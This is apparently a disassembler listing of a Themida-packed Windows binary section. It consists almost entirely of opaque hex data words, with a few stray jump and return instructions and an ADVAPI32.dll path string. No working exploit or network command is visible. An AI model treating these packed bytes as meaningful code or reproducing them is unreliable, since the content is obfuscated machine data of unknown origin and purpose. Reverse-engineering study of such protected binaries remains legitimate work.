		dd 0C56653B6h, 38601836h, 0D7F515E0h, 9C007C85h, 199DCBA6h
		dd 5C17B71Eh, 5C208004h, 402A69h, 92738123h, 0D1762615h
		dd 88FDEC00h, 38878391h, 456700F1h, 2F48EF51h, 718CEA0h
		dd 2761DD32h, 3807695h,	0C074AECFh, 0DBC1E57Ch,	3F7D00E6h
		dd 0E8E90052h, 0A2E03534h, 22006E6Fh, 1768139Ch, 331F9F6h
		dd 54FF9A28h, 99001980h, 0B978C0Dh, 156377h, 5EC7938Dh
		dd 86355468h, 0CFD57A0Bh, 81489A26h, 2C980168h,	7A898C40h
		dd 0C0BB0037h, 93263F48h, 6F7B58ECh, 8B0B14B0h,	107F4BE7h
		dd 750D59E4h, 0E1983A9Bh, 15D93083h, 0E100DE32h, 7E589E14h
		dd 1FBAA81h, 0F40847C2h, 0EEB7A655h, 5EF4AC44h,	7DA6B899h
		dd 110F303Fh, 0EEE6DC37h, 0F1F20949h, 0E003DF5Dh, 15A0CDE3h
		dd 0B03C611Ch, 0DC240016h, 56EA8ACCh, 0B8E70043h, 458EF9FFh
		dd 337BB31Ch, 0BCAF6800h
		dd 0FD19062Bh, 0CF7D03DBh, 987F022Ch, 4688F8ABh, 2B008754h
		dd 0BEF64396h, 15676ADh, 0D6C724A1h, 0FF5361C3h, 5FF087B8h
		dd 0D5283E6Bh, 0F54E9C03h, 0CE00107Bh, 0CC9A53C6h, 0E6CF9A2h
		dd 2215FAB7h, 14D6AB00h, 836359B9h, 98893E60h, 1B3AC39h
		dd 526A36B1h, 0D8C8C07Ch, 1B06E02Ah, 0B050DDA3h, 692E0380h
		dd 0C1118A8Fh, 6683A801h, 0DBE5FD1Eh, 7EEF63F8h, 7D3DF869h
		dd 0BD381994h, 0E8B1C9FAh, 0E83F57E2h, 310E80DCh, 0FDD3F25Ch
		dd 0B79B1230h, 58310BC0h, 98C0BF78h, 7381A96h, 69FD4C84h
		dd 0F1E5360Ch, 5A00B2F1h, 0A6DA6E85h, 2812F8h, 60839E6h
		dd 901D6157h, 52B1D218h, 0C7B349h, 0C5804F14h, 0D8C17942h
		dd 6AA97D03h, 0EDF90F71h, 0FBAC9C46h, 860E0061h, 0C6D03925h
		dd 3B00CD0Dh, 6A7523B6h, 60FE87ECh, 57FB29FAh, 841468ACh
		dd 70987E02h, 8C856F3Eh, 807D5B59h, 0C7171D13h,	0DBD4802Fh
		dd 0A16C0B5h, 2EDEAA07h, 0C95A31h, 0CAD70FCBh, 0CC465256h
		dd 200413Bh, 0ADA7BDF2h, 77008FAEh, 10CE54F5h, 301B756h
		dd 0B15841B5h, 16C9736Ah, 7B804315h, 0F747880Fh, 0BC91805Eh
		dd 6DCE428h, 5958CC03h,	5400617Ch, 0C10AA5B9h, 0D52C94h
		dd 1DDC4B7Ah, 587588F3h, 731E2F03h, 0C0F1A263h,	60E5B73Bh
		dd 8E9DF905h, 32C01548h, 0BE016EF9h, 0AF660EC6h, 78588BF2h
		dd 0FA0027B0h, 0EAA87A63h, 8078B1F8h, 0AA7B2196h, 0C7722F00h
		dd 75402DD1h, 0B7940304h, 3CEA9EC1h, 52F725C0h,	2011DE24h
		dd 47B12286h, 48130241h, 0A814866Fh, 6B7F1460h,	93180207h
		dd 184F0E44h, 7C2B5229h, 8C805050h, 5CE53094h, 0A746E0C1h
		dd 84E91C03h, 0F0556FAEh, 9058528Fh, 4C701E0h, 0B4FB891h
		dd 2AC3C3BDh, 26E4F9D0h, 0B5A8EC5Fh, 0FD242903h, 0AC91E1A0h
		dd 7A598007h, 9DEB90F8h, 0D61400AFh, 1DBF852Bh,	5A495972h
		dd 0F3BE0108h, 0C0D074DEh, 32F7F8h, 483DE3C1h, 2CAFB628h
		dd 0E4876F02h, 40626D03h, 88ED0BF4h, 88A8E5BEh,	490066CDh
		dd 14F7E081h, 7616E78h,	8E917076h, 8380D1DCh, 9FF89916h
		dd 72DC36B0h, 44B09026h, 0DD30528Ch, 47575110h,	3CE03154h
		dd 0C88F9111h, 761816DDh, 4D8114E6h, 69E024A3h,	44FC0C91h
		dd 2EF42949h, 75F82C02h, 44ABE26Bh, 0A58207D4h,	7E3CBDAh
		dd 22AD10AEh, 61268B0h,	444F6DB2h, 3BC8E7F9h, 0F5608E0h
		dd 5CE0A411h, 1C536C29h, 0BC48AC00h, 0CD2BCF2Ah, 927C72FAh
		dd 621AFF00h, 60D2C4Eh,	16D1247Fh, 0A7B10440h, 9C7C80CCh
		dd 32F1988Eh, 0E8C91C2Ch, 64F50AC7h, 2A6C8259h,	0EE1430Eh
		dd 0B2C1C521h, 14001A69h, 0D44AF07h, 73641E00h,	0CBC798B3h
		dd 2A1B00B0h, 85D8238h,	3063462h, 8546AE76h, 988900D9h
		dd 25D19D60h, 0ED0B8B58h, 87E6E5FAh, 8CC32271h,	0D4C3E008h
		dd 0B2065C95h, 7B008842h, 0FACB3414h, 0F0063237h, 70461E89h
		dd 312F0021h, 5CBCBD30h, 940044DAh, 732CECA2h, 0F830BDCh
		dd 228847E5h, 3FE0532Eh, 0AA2B39D4h, 75E0D06h, 1498459h
		dd 350304B2h, 48E7AEB5h, 0E6589EFCh, 248B0089h,	87E07AB6h
		dd 58D718BAh, 0A7D93969h, 6B002979h, 0A962C953h, 196C5F2h
		dd 9CEA34B6h, 24CAE4F4h, 0E5001000h, 9F60CBC9h,	2A9057h
		dd 0D275A328h, 42CC9BDFh, 2B722100h, 0BC7FB338h, 48177D10h
		dd 39392830h, 0B194A085h, 2ECC5C51h, 82123D5Ah,	4D4E0059h
		dd 0E87E63EBh, 6EA60618h, 7CAF36A1h, 0B556051Ah, 919C045h
		dd 20982984h, 0C800590Ah, 0E6AEF23h, 0E233D6DDh, 0C5C37987h
		dd 5FE4BDB9h, 22B9C188h, 0D8DA2F76h, 0C509BCA8h, 0A07AD8CCh
		dd 4D1E36F8h, 6D8F3406h, 680C9081h, 80B10DA4h, 0F8905980h
		dd 678226h, 6BAAA251h, 892F6012h, 7A3E7D71h, 0B45704FAh
		dd 0E8C17C03h, 68201E37h, 0DB60F8Ch, 7500B96Fh,	9DC71F4Ah
		dd 6E032900h, 0C487AF84h, 395CA1F5h, 0A1F16510h, 0BEC5B00h
		dd 0BEDC6766h, 3F447A6Bh, 0C3309516h, 0D9337C0h, 9006641Fh
		dd 0D5F880E2h, 8F163EBBh, 0E0A0C8AAh, 1776C0F9h, 0A6FB45FDh
		dd 0D3316A60h, 44F9ACBh, 0FDFAF5Fh, 67E09807h, 8F88726h
		dd 92B8FB42h, 0A46294h,	0C369745Ch, 0B4614C8Fh,	8CE3AB0Bh
		dd 8519E018h, 53725100h, 7E7056F5h, 714B00E1h, 0D70ECB38h
		dd 790878BCh, 8FEFACF9h, 23E13CF0h, 0C4665A3Fh,	130FFD98h
		dd 617174FCh, 8E49A4D4h, 0F2CE3040h, 0D5E2004Eh, 0B4C1EA11h
		dd 0A1359E0h, 98081EB7h, 58158D44h, 804E0h, 21C691D4h
		dd 986059D0h, 50E657D9h, 0C9510087h, 0BC1DFF1Fh, 0CCA80DE7h
		dd 672C129Fh, 0A5008316h, 20CB66DFh, 82931DBAh,	3DF980BEh
		dd 326CF073h, 0CE15E2B8h, 944D8Eh, 0E2346C2h, 47F363h
		dd 0B8527BC7h, 5AFAF78Dh, 0E8368812h, 0B6BF3820h, 703500AAh
		dd 9FFF10CAh, 0FB1F3471h, 7EA3E6h, 41AE5CD5h, 0E203C9h
		dd 9B4A4CE0h, 8287BA8Ch, 0CB1278B2h, 680F389Fh,	0FCB0402Fh
		dd 2C23EBD5h, 7FCC834h,	433B8BBFh, 14908185h, 6800748Ah
		dd 0D38E40A9h, 2AB33D3Ch, 1F8C8759h, 0C9B4F726h, 8A8054FAh
		dd 0DED7526Dh, 1797BB12h, 1E84889h, 0A2FC006Eh,	98B46C26h
		dd 911729F7h, 5200A1ACh, 0C59FFD2Dh, 0EF55F6BDh, 0F61E031h
		dd 4D9DA88Eh, 410E5C9h,	2E125CEDh, 190093D9h, 7AACFFDBh
		dd 45171D0Ah, 5DC6006Fh, 36767866h, 8352E502h, 0A040B121h
		dd 1FEF45B8h, 867B1D6Bh, 5A1167Dh, 805B4970h, 6883CAD1h
		dd 5310BF09h, 4D84494h,	0BC068CC5h, 9EA88C70h, 7D020F12h
		dd 64E81C22h, 4DEC0030h, 5999737Bh, 1C01E5BAh, 0A3DC48CDh
		dd 0A7F65336h, 81F9A02Ch, 0AE1DB308h, 58CABCE0h, 0AB017456h
		dd 638272C3h, 3422BDh, 0DD7D69B0h, 0EDB4401h, 3E118D26h
		dd 0C01CB565h, 70C7E0AEh, 2A0E848h, 191672CAh, 9C4CA775h
		dd 514C2A00h, 509548EFh, 1D24B501h, 80458E59h, 35B91FC9h
		dd 0E499ABEBh, 586707C2h, 0D566877Fh, 53C803F1h, 899A5007h
		dd 0BCB8F620h, 111360ABh, 4286956Ch, 306E8530h,	0B20D239Fh
		dd 0B9AF00E0h, 70A8DC81h, 7740EECh, 0D556388h, 8E519B1h
		dd 62C2E449h, 169E43Ch,	0CEFCA204h, 0D429FD87h,	1F7D7600h
		dd 294F621Ch, 69730E01h, 0B44B5E78h, 7ED77885h,	0C8284EEFh
		dd 28491F00h, 0CB304ABCh, 0DFB2880Fh, 42B898A0h, 5CE522F0h
		dd 6E006415h, 2B5AEA01h, 13160C3Fh, 0A41DB62Fh,	46B1FFC6h
		dd 95C53EC1h, 6FD3EA00h, 1F12A4D7h, 8EB89100h, 52864817h
		dd 874E162Bh, 1A482C0Ah, 220279F0h, 6503C440h, 8C37603Fh
		dd 0C5872505h, 82B74C98h, 0D9C99200h, 0D7C74D5Eh, 9D3D58C1h
		dd 95FC4C55h, 939F67Fh,	0A9C3F7A5h, 9801FE0Bh, 80E1E874h
		dd 63A4EC71h, 7D3AD19h,	0A627F0Ch, 28561058h, 30C24009h
		dd 6459A376h, 0DDD300ECh, 1542D60Bh, 49C026BDh,	6F1354CBh
		dd 0B2853556h, 0DC700470h, 39B0502Ah, 0B2C4CBFh, 22B26Fh
		dd 16172B3Ch, 20694BE3h, 80EBB45Ch, 7FD84E00h, 908375D3h
		dd 211402FAh, 5E65FB8Bh, 2DB1B449h, 4C740FECh, 0BB059D40h
		dd 0F500C199h, 0C48C64ECh, 18151C50h, 60FDBA1Dh, 0A49C8055h
		dd 56E816BDh, 66CBDA1Bh, 0AE6EE0E8h, 0C7872430h, 1754060h
		dd 0F506C10Dh, 5EE54608h, 0BFEE0319h, 2D11CE78h, 0DF5868F8h
		dd 0B09B0301h, 90B87B4h, 56742981h, 80AE2C8Fh, 2EF59560h
		dd 8807E508h, 50004593h, 8424046Ch, 98617CA1h, 0A03102CCh
		dd 0EBDC1B3h, 3EEDA0A0h
		dd 3A009B39h, 0C036C598h, 7D708Ah, 37EE910Ch, 0BB2E545Eh
		dd 0BD16C900h, 0B524A111h, 89E0CA5h, 767106ACh,	9FBC6F4Eh
		dd 7456D30Eh, 0DF209A6Fh, 150D2A18h, 3286203h, 127E893h
		dd 0A4E27A79h, 30A64F5Bh, 0F91C14A0h, 81C90BE4h, 0EAB4033Eh
		dd 0C068A205h, 2C750D4h, 0F26B3A8h, 0F44079BFh,	844E6994h
		dd 33E75006h, 0CE8F0359h, 3B4F7E15h, 1EEBE8C0h,	482E0890h
		dd 0D0127BEh, 0F7B5430h, 8EB73189h, 4C5CF048h, 2F451800h
		dd 17010958h, 89AD3B36h, 8846B592h, 71006764h, 0C4914882h
		dd 52CFEBh, 78ED61D1h, 0AC95BF59h, 91F044h, 4FF82DD9h
		dd 1872E16Fh, 21B91000h, 6CDEB01Ch, 0EA0F2EFEh,	0AD6C4F0Ch
		dd 0E8226DD0h, 8CD40038h, 79C04712h, 8B13626Fh,	0D301BB7Dh
		dd 0FEBE2E0Dh, 0F383E03Ch, 0DBF8C2BFh, 45EA9110h, 48FCD1E8h
		dd 0ECE0C40Bh, 9050891Ah, 6C2D30h, 0B92E3C55h, 1C22A347h
		dd 3FC2A500h, 0F6A7DBB8h, 5C575C49h, 0AC614D32h, 6600C8E4h
		dd 0FC1921F2h, 506F52A1h, 92B3D308h, 89BF5048h,	664262Ch
		dd 0E41D1428h, 0DC977414h, 0FBC3D804h, 0A3CC8846h, 0ECF34503h
		dd 0BF2C516Bh, 96868E65h, 91550302h, 5F5CE01Ch,	0B1AD8C00h
		dd 6A372A08h, 0B7B502A0h, 0E8066966h, 4600A864h, 0DDA7DA8h
		dd 90EA57Fh, 0A0F2EB04h, 6F0090E4h, 58C2F989h, 0CAB96597h
		dd 608CD298h, 0A5F5ED35h, 52005AECh, 8778B973h,	28A1EC0h
		dd 0A417D6E6h, 0E86129ADh, 41B01209h, 0E880164Eh, 6BDFEBD0h
		dd 8F0281C0h, 0DBC43633h, 4E90E027h, 0E2F901B0h, 31720FD3h
		dd 4422BEh, 6AED2A7Ah, 14F8B1Fh, 0ABD7913h, 3C65DA5Ch
		dd 0A65380A0h, 8045B4h,	0F08F766Ah, 0EBEEFE20h,	94040300h
		dd 0FD08CE4Bh, 1C9803D6h, 84467F1Bh, 2205D974h,	1E8DE69Bh
		dd 0E20218A3h, 6105A9FEh, 6A668560h, 0B67BB804h, 448C9F49h
		dd 0EBAA0E58h, 21E9937h, 538ECEEFh, 7B005C44h, 446B9078h
		dd 215C7A9h, 0C56AEF59h, 94C0EA68h, 292C5AC0h, 8C601064h
		dd 0BEE6B1h, 0FC1826CCh, 0BD6483E9h, 0B7EAFD02h, 5A8EBB7Eh
		dd 0CD7B00BCh, 0B44F816h, 680060ECh, 1546C0CCh,	1C18B657h
		dd 534E0E6h, 0B084B917h, 0B8A0DE38h, 9B26BE2Dh,	6E80D070h
		dd 7C368E51h, 9A7F0740h, 80DB5D42h, 39DF78BCh, 0BE073212h
		dd 5480426h, 987B0CBh, 0AA9088E2h, 0BE66D896h, 62889C9Ch
		dd 7C48EA6Ch, 8B32BB61h, 794988B1h, 647701E4h, 0D0A71EEEh
		dd 0A00440Eh, 185E4ACAh, 0C4596A1h, 734EC28h, 3313D560h
		dd 8C90E64Ch, 5D0670h, 27DE530Fh, 78C6F52Ah, 0D8D0700h
		dd 348FD560h, 99E8E21Bh, 0CA16F0h, 2FA9E355h, 5601F0F5h
		dd 831FE580h, 0DCDDD7BEh, 52D1DACCh, 0FFFF01CCh, 60FBh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_58248B:				; CODE XREF: Themida_:loc_515265j
					; DATA XREF: Themida_:loc_515086o
		jmp	loc_585A20
; ---------------------------------------------------------------------------
		dd 3 dup(0)
		dd offset a2vsr3vsr	; "2vsR3vsR"
		dd 4 dup(0)
		dd 7C85A034h, 0A280105h, 6 dup(0)
		dd 102E9FACh, 7	dup(0)
		dd 0B61C1Ch, 0
		dd 0FD1F9FD0h, 0
		dd offset unk_513000
		dd 2 dup(0)
		dd 94654E49h, 0
		dd offset loc_5C0023
		dd 0
		dd 7C90EB94h, 0
		dd 5ECh, 0BCh, 2 dup(0)
dword_582534	dd 12E8h, 0						; Themida_:00583030o ...
		dd 0BB0B3Ch, 10h dup(0)
		db 90h
		db 24h,	2 dup(0)
		dd 6 dup(0)
		dd 25D6F10h, 4 dup(0)
		dd offset byte_5DAFF5
		dd 0F547EB7Ch, 6 dup(0)
		dd 836F146Ch, 0Dh dup(0)
		dd 23F6A4EEh, 0
		dd 7BDFD385h, 2	dup(0)
		dd offset dword_5F3698
		dd 0
		dd offset byte_5C139B
		dd 7C800000h, 0
		dd offset loc_5BFAD6
		dd 9 dup(0)
		dd 0C10000h, 0Ah dup(0)
		dd 77DD7883h, 4	dup(0)
		dd offset loc_60C639
		dd 7 dup(0)
		dd 32597F5Dh, 0
		dd 99C65C8h, 3 dup(0)
		dd offset loc_5B4B69
		dd 2 dup(0)
		dd offset loc_5D35A7
		dd 0Ah dup(0)
		dd 0B41CF7h, 2 dup(0)
		dd 0FFA7B9FCh, 0
		dd 71681150h, 0
		dd 0F0h, 6 dup(0)
		dd 0FB9B3820h, 7 dup(0)
		dd 0B0h, 1Bh dup(0)
		dd 7C90EB94h, 0
		dd 0BB0B3Ch, 9 dup(0)
		dd offset dword_5C09BC
		dd 4 dup(0)
		dd 7C90EB94h, 1, 6 dup(0)
		dd 0FFA443D9h, 6 dup(0)
		dd 0FF4EE7F1h, 9 dup(0)
		dd 0EF0h, 0
		dd 0BB0B3Ch, 4B69h, 0
		dd 1320132h, 5 dup(0)
		align 10h
		dd 7C90EB94h, 3	dup(0)
		dd 0A0h, 0
		dd 12FE80h, 3 dup(0)
		dd 0B48B32h, 0
		dd 7C90EB94h, 0
		dd 1, 3	dup(0)
		dd offset dword_582534+4
		dd 0B8h, 15h dup(0)
		dd 7C90EE18h, 0
		dd offset dword_57F990+693h
		dd 7 dup(0)
		dd 7C90EB94h, 4	dup(0)
		dd 836F146Ch, 233FFB0h,	582538h, 0
		dd offset loc_5C0000
		dd 7 dup(0)
		dd offset loc_5C2404+3
		dd offset sub_5BA363
		dd 725CFBFEh, 5	dup(0)
		dd 710BCFFDh, 0
		dd 7D0Dh, 0
		dd 0FF9E6B63h, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0Bh,	5Ch, 0
		align 10h
a6666		db '6666',0
		align 4
		dd 13h dup(0)
		dd 140D7335h, 6	dup(0)
		dd 837C86BBh, 4	dup(0)
		dd 77EDD0h, 0Eh	dup(0)
		dd 0C8h, 7C90EB94h, 3D94h, 2 dup(0)
		dd 12FFC4h, 0E8h, 2 dup(0)
		dd offset dword_583210
		dd 9 dup(0)
		dd 7F1A94E3h, 2	dup(0)
		dd 0DF55DD8h, 4	dup(0)
		dd 9E0B9665h, 94h, 0A9C530DFh, 52Ah, 4 dup(0)
		dd 0FFC00000h, 3 dup(0)
		dd offset loc_5DCBE3+5
		dd 6 dup(0)
		dd 17944h, 0FFA30FF8h, 0F87FF48Bh, 0
		dd 370FE853h, 2	dup(0)
		dd 12FF22h, 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	near ptr byte_582D01
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		dd 0FFFFFF05h, 17h dup(0)
		dd 7EBBFFFCh, 2	dup(0)
		dd offset byte_5DB495
		dd 0
		dd offset loc_5B4B69
		dd 3 dup(0)
		dd 0FFFFh, 0DF568CFh, 27h dup(0)
		db 0
byte_582D01	db 3 dup(0)		; CODE XREF: Themida_:00582BB4j
		dd 2 dup(0)
		dd offset loc_5DEE0F
		dd 6 dup(0)
		dd offset byte_612D59
		dd 7C906B94h, 0Ah dup(0)
		dd offset loc_60C7C7+5
		dd 0Bh dup(0)
		dd 7C90EB94h, 2	dup(0)
		dd 0FFA07B82h, 0B11A44h, 0
		dd 1AE9h, 9Ch, 0F1B3BF49h, 2 dup(0)
		dd offset byte_401000
		dd 0
		dd offset loc_5B63BD
		dd 2 dup(0)
		dd 0FFA4052Ah, 5 dup(0)
		dd 0B73F0Fh, 0
		dd offset loc_5F4958
		align 10h
		dd 71681151h, 12FF54h, 0
		dd 7C809B47h, 76E29EAAh, 4 dup(0)
		dd offset dword_5C1D50
		dd 6 dup(0)
		dd 2, 13h dup(0)
		dd 0FBh, 5E4D75h, 2 dup(0)
		dd 94654E49h, 4	dup(0)
		dd offset loc_5F5BE8
		dd 6 dup(0)
		dd 67418783h, 3	dup(0)
a333333333333	db '333333333333',0
		align 10h
		dd 0
		db 90h
		align 4
		dd 0
		dd 0B70213h, 26152FA0h,	8 dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0DEh, 5Dh, 0
		dd 3 dup(0)
		dd 0C246DA44h, 2 dup(0)
		dd 0B1FA37h, 0
		dd offset byte_5C53C9
		dd 2 dup(0)
		dd 12FFA4h, 0
		dd offset byte_5D1EDD
		dd 3 dup(0)
		dd 7C90EB94h, 6	dup(0)
		dd 0ACh, 60B097h, 0Ah dup(0)
		dd 79F002E7h, 3	dup(0)
		dd 7C80180Eh, 2	dup(0)
		dd 0CEh, 0FFFFFEF8h, 0Ah dup(0)
		dd 341EF1FBh, 2	dup(0)
		public start
start		dd 3 dup(0)
		dd offset loc_5B9732
		dd 6 dup(0)
		dd 12FEF0h, 0
		dd offset dword_582534+4
dword_583034	dd 0FFA7DAC8h, 62h dup(0)					; Themida_:00584340o
		dd 5643h, 9A490501h, 3 dup(0)
		dd 836E6515h, 0Dh dup(0)
		dd offset loc_5DEE0F
dword_583210	dd 724h, 4CB57A79h, 0					; Themida_:00583A7Co ...
		dd 0FFA3DC1Ah, 4 dup(0)
		dd 0D791D07Fh, 1E6EC5C6h, 0E1DE586h, 2 dup(0)
		dd 491EF6F6h, 2	dup(0)
		dd 60079A95h, 6	dup(0)
		dd 77DD0000h, 5F4B12h, 5 dup(0)
		dd offset byte_5EB785
		dd 5 dup(0)
		db 0CCh
		align 10h
		dd offset loc_5C09F9
		align 8
		dd 1, 0BE366EB9h, 0
		dd 26D0000h, 7CDCDD81h,	0B11842h, 2 dup(0)
		dd 12FFA4h, 2 dup(0)
		dd 3FD56250h, 0
		dd offset loc_5F59CE
		dd 2 dup(0)
		dd 0B3FCADh, 0Ah dup(0)
		dd 23F6A4EEh, 0
		dd 0F874248Ah, 9 dup(0)
		dd offset loc_5CB1B3
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		fbstp	tbyte ptr [eax]
		lds	ebp, [ecx+0]
		retn	5CAEh
; ---------------------------------------------------------------------------
		align 10h
		dd 7 dup(0)
		dd 20h,	0
		dd offset dword_5833B4
		dd 0
		dd 0FFFF7CAFh, 0
dword_5833B4	dd 0				dd 0BB0B3Ch, 7C90EB94h,	5 dup(0)
		dd offset byte_5FD3D9
		dd 0B1180Fh, 6 dup(0)
		dd 7C90EB94h, 5	dup(0)
		dd 7E41A8ADh, 7FB4FFD5h, 0B9h dup(0)
		dd 0B61C1Ch, 12FFF0h, 3	dup(0)
		dd 7C81CDDAh, 10h dup(0)
		dd 7C8111DAh, 2	dup(0)
		dd 370h, 2 dup(0)
		dd 0E23DFDB1h, 29h dup(0)
		dd offset word_5C9EE6
		dd 2 dup(0)
		dd 0B18D20h, 0
		dd 1F39CF3Fh, 60D18Dh, 3 dup(0)
		dd 7C814AF2h, 5DA542h, 0
		dd 0B0E9h, 0B1AEA1h, 4 dup(0)
		dd 3C799B6Eh, 3	dup(0)
		dd 0FFAE1ED5h, 0
		dd 73AC1555h, 1F9607BDh, 5 dup(0)
		dd 0B10A25h, 3 dup(0)
		dd offset loc_5DF500+1
		dd 2 dup(0)
		dd 0B11A38h, 0
		dd 0FFFF997Ch, 0
		dd 0FFFE87A8h, 0Ah dup(0)
		dd offset word_5DA21A
		dd 3 dup(0)
		dd offset dword_5C1D50
		dd 5 dup(0)
		dd offset loc_5E2176
		align 8
		dd 7C803ED3h, 2	dup(0)
		dd 254002Ch, 9 dup(0)
		dd 0B1A8CFh, 9 dup(0)
		dd offset dword_5E16C0
		dd 0
		dd 0DCDC9C4Dh, 2 dup(0)
		dd 0FF44F4C4h, 0
		dd 0A9C530DFh, 76F21510h, 2 dup(0)
		dd offset loc_5C0023
		dd 4 dup(0)
		dd 4001D0h, 9 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 7E4505FCh, 0
		dd 77DDEE37h, 0
		dd 4AB27FFFh, 7C80B4CFh, 725CFBFEh, 2 dup(0)
		dd 0A4h, 3 dup(0)
		dd 1, 4	dup(0)
		dd offset loc_5EBF84+1
		dd 9 dup(0)
		dd 7C80ABDEh, 3	dup(0)
		dd 400000h, 4 dup(0)
		dd offset dword_583210
		dd 3 dup(0)
		dd offset sub_5B94B1
		dd 0
		dd 836F146Ch, 0Dh dup(0)
		dd 224C2CE0h, 2	dup(0)
		dd 0FFFFFFFFh, 3 dup(0)
		dd 7C802CB0h, 5B2425h, 7C81CDDAh, 5C23E6h, 5F4BFFh, 0
		dd 2644h, 0
		dd 3C7BD69h, 7 dup(0)
		dd offset dword_583034+4
		dd 7 dup(0)
aCWindowsSystem	db 'C:\WINDOWS\system32\ADVAPI32.dll',0
		align 4
		dd 39h dup(0)
		dd 3F64h, 5 dup(0)
		dd offset loc_5B970A
; ---------------------------------------------------------------------------
		push	es
		retf
; ---------------------------------------------------------------------------
		dw 5Dh
		dd 3 dup(0)
		dd 0FFFFFFFEh, 1, 5 dup(0)
		dd offset loc_5F4763
		dd 98h,	2 dup(0)
		dd 0FBh, 144828h, 0
		dd offset dword_5C8B28
		dd 4 dup(0)
		dd 0FFFC7773h, 4 dup(0)
		dd 7C90D4F6h, 2	dup(0)
		dd offset byte_5CCDE5
		align 10h
		sub	eax, 6C00BB0Bh
		jmp	short loc_583D52
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 1B3FFB0h, 0
		dd 44B9339h, 0Ah dup(0)
		dd offset loc_586853
		dd 4F33790Dh, 0FFA43473h, 7C863F58h, 2 dup(0)
		db 0D0h, 5Fh
; ---------------------------------------------------------------------------


loc_583D52:				; CODE XREF: Themida_:00583CF5j
		pop	ebx
; ---------------------------------------------------------------------------
		db 0
		dd 3 dup(0)
		db 90h
		db 12h,	0F2h, 76h
		dd 0FFFF9E1Ch, 0
		dd 22536AFCh, 0
		dd offset byte_5FF861
		dd 0
		dd 7C90EB94h, 8	dup(0)
		dd 836F146Ch, 0
		dd 0FFFF7FE7h, 2 dup(0)
		dd 83FF691Fh, 7C90EB94h, 5 dup(0)
		dd 7C90EB94h, 7	dup(0)
		dd 7C916315h, 2	dup(0)
		dd 0B18E51h, 3 dup(0)
		dd 75ADF725h, 3	dup(0)
		dd 11688F6h, 0B1FA03h, 5 dup(0)
		dd 7C90EB94h, 0
		dd offset dword_5C1D10
		dd 6 dup(0)
		dd 7Ch,	0
		dd 0FFFFEB94h, 5B9497h,	0B1180Fh, 7 dup(0)
		dd 112000h, 0Ah	dup(0)
		dd 12FE80h, 0
		dd offset dword_5B00C0
		dd 2 dup(0)
		dd 7C90EB94h, 2	dup(0)
		dd 7C90EB94h, 2	dup(0)
		dd 0B2448EEEh, 0
		dd 7C916315h, 8	dup(0)
		dd offset byte_5C2BA5
		dd 6 dup(0)
		dd 0FFA7FFDDh, 4 dup(0)
		dd 6222BEA3h, 3	dup(0)
		dd 7378471Bh, 3	dup(0)
		dd 7C90D4F6h, 2	dup(0)
		dd 4F000h, 0
		dd 29h,	3 dup(0)
		dd 0B137ECh, 5 dup(0)
		dd 0B71E69h, 582538h, 76B178BFh, 5E8724h, 3 dup(0)
		dd 1E0A8C0h, 3 dup(0)
		dd 9B0A799h, 2 dup(0)
		dd 0B812B624h, 4 dup(0)
		dd 26F0000h, 4 dup(0)
		dd offset loc_60D748
		dd 2 dup(0)
		dd 8Ch,	7C80ADA0h, 4 dup(0)
		dd 115014h, 5 dup(0)
		dd 7C80003Eh, 0
		dd 12FF54h, 6 dup(0)
		dd 0FFFFFFFFh, 7C801D77h, 2 dup(0)
		dd offset dword_583210
		dd 0
		dd 26E0000h, 9 dup(0)
		dd 0BB0B3Ch, 7 dup(0)
		dd 127B268h, 0
		dd 0FFA399DCh, 2 dup(0)
		dd offset loc_5F8CF2
		align 8
		dd 7C801A24h, 0
		dd 21E000h, 5FC39Bh, 0
		dd 7C90EB94h, 0
		dd 2 dup(22222222h), 7C80003Eh,	2 dup(0)
		dd 73ED3B0Fh, 0
		dd offset loc_5E8724
		dd 5 dup(0)
		dd 2970000h, 5 dup(0)
		dd 0FFFFFAD6h, 5F45EDh,	2 dup(0)
		dd 12FE80h, 0
		dd 0DEE70389h, 5 dup(0)
		dd 4, 5	dup(0)
		dd 111F148h, 9 dup(0)
		dd 5EC71947h, 4	dup(0)
		dd 7B8B4D95h, 0
		dd 836F146Ch, 0
		dd 0B4h, 7C90EB94h, 0B18B28h, 2	dup(0)
		dd 0C0h, 0
		dd offset loc_5B975A
		align 10h
		dd 0CDA680A3h, 2000h, 3	dup(0)
		dd 0A70000h, 0
		dd 0A7542CA1h, 11h dup(0)
		dd 0FFFF997Ch, 0
		dd 7E410000h, 0Bh dup(0)
		dd 7C801A24h, 0A8h, 60C1BEh, 0
		dd 1, 5	dup(0)
		dd offset sub_586067
		dd 0DC8C0000h, 3 dup(0)
		dd offset loc_60D748
		dd 4 dup(0)
		dd 0FAB5C3C4h, 5BFAD6h,	0
		dd 0A9C530DFh, 2 dup(0)
		dd 0B731E5h, 2 dup(0)
		dd 0FE8F0BE8h, 0
		dd 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0Bh,	5Ch, 0
		dd 0
		dd 0EFDBB00Eh, 4 dup(0)
		dd offset dword_583034+5
		dd 2 dup(0)
		dd 48E9h, 5A219A71h, 0
		dd 0E099868Dh, 0Ah dup(0)
		dd 0FFFF9A58h, 5 dup(0)
		dd 0FFA7DAC8h, 0
		dd 7C801A24h, 0
		dd 7C802CACh, 0
		dd offset loc_5BEE4C+3
		align 10h
		dd 0B18EE4h, 1FE8h, 3 dup(0)
		dd 32597F5Dh, 11h dup(0)
		dd offset sub_5BFAE8
		dd 2 dup(0)
		dd 0FFFF9DB0h, 0Ch dup(0)
		dd 0A9C530DFh, 0B10E24h, 0
		dd 22536AFCh, 5	dup(0)
		dd 7C800B42h, 5D43CCh, 0
		dd 1, 0EAA09E08h, 3 dup(0)
		dd 1, 0
		dd 7135815Fh, 5C82E7h, 5BA363h,	4 dup(0)
		dd offset loc_5FCE0B
		dd offset sub_5DD9AB
		dd 16h dup(0)
		dd 0FFFFFFFFh, 0FFA0B261h, 5 dup(0)
		dd 7C90EB94h, 19h, 4 dup(0)
		dd 0B42878h, 2 dup(0)
		dd 0CDA680A3h, 2 dup(0)
		dd 0D0000h, 2 dup(0)
